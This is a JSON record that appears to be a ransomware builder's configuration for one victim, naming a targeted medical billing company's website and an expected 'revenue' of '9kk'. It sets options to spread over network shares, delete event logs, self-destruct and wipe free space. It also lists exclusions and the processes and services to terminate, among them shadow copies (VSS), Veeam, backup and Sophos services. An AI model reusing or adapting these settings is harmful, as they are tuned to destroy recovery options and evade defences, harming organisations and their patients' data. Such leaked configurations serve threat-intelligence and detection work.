{"buildModel": {"id": "865", "parent_id": 0, "status": null, "decription_id": null, "userid": 28, "stealerid": null, "key_id": 0, "comment": "PMBINC serebro USA", "master_pubkey": null, "master_privkey": null, "date": 1743423532, "company_website": "physiciansmedicalbilling.net", "crypted_website": "U1HXliFoayF2UizUR+IDRDMoMk5+wlTipM515ijJr3+Pa64tZhyyWl9fWn2XeAMPzfGpTcp3N1Uqz3kuTPW5HuGDJz14GQP688XElqdFMMp5jbz3A5fw10B9Tl+RZBKimt+oXJfnp6wxLrPfRepew1NRbrm7lJJ4KDybjVaIghIKRu5MJ5WVKmnEV5LCAZnbjsXqPLDgl7vhUjcXef9i4K71LJtDIVFK1IIjA9ovth6rXRIbgmpNtdXO8Skav1ujyprQMoSsL37MJJzBnEJCtAR7Kef6Kc/NOKKhdO4+qVp0WioXhCy1YwXRfj9T9IZgQYfxKaJJ6PCooEXP6beFGB90mnyIO2gejMml5amHV6DAnPhhTrDbmtLsWRMQ0d4ydn9ku+z7mvjRdas39iBqOfWeZVsnTDmnbvc5rVu/MicAWVoXtjoaFUR6cYHGn3caGB2zvXbXJ7Y0G/RS+gDEnyS/GHnY7PKfm+jv6r5Mp9xLJYNQlxPXDNDVflg+k291imeP/4xSHAMttvpJklMOqptk9fMW8KL/VpO7Ty2GpI6EWPSPmI2l+sTYRswGr9L/mSNTcYwO/kFKcAaCI169DO0BSAS2H5QCaYto2D+ev/hvdnZTiXkGk2vcxfWweJt2Fn+J5t1sTSLupBlct4MTACpS3yhyxreTygGskz7IFZ0=", "revenue": "9kk", "delete_decryptor": true, "type": 30, "max_file_size": null, "created_at": "2025-03-31 12:18:52"}, "key": null, "revenue": "9kk", "comment": "PMBINC serebro USA", "company_website": "physiciansmedicalbilling.net", "encrypt_mode": false, "encrypt_filename": false, "impersonation": "0", "language_check": "0", "local_disks": "0", "network_shares": "1", "kill_processes": "0", "kill_services": "0", "running_one": "0", "print_note": "0", "set_wallpaper": "1", "set_icons": "1", "spread_enabled": "1", "send_report": false, "delete_eventlogs": "1", "self_spread": false, "self_destruct": "1", "kill_defender": "0", "wipe_free_space": "1", "skip_hidden_folders": "0", "shutdown_system": "0", "gpo_ps_update": "0", "impers_accounts": "", "white_folders": "$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;appdata;application data;boot;google;mozilla;program files;program files (x86);programdata;system volume information;tor browser;windows.old;intel;msocache;perflogs;x64dbg;public;all users;default", "white_files": "autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db", "white_extens": "386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb", "white_hosts": "", "delete_gpo_delay": "60", "kill_processes_list": "sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc;xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;tbirdconfig;mydesktopqos;ocomm;dbeng50;sqbcoreservice;excel;infopath;msaccess;mspub;onenote;outlook;powerpnt;steam;thebat;thunderbird;visio;winword;wordpad;notepad", "kill_services_list": "vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr"}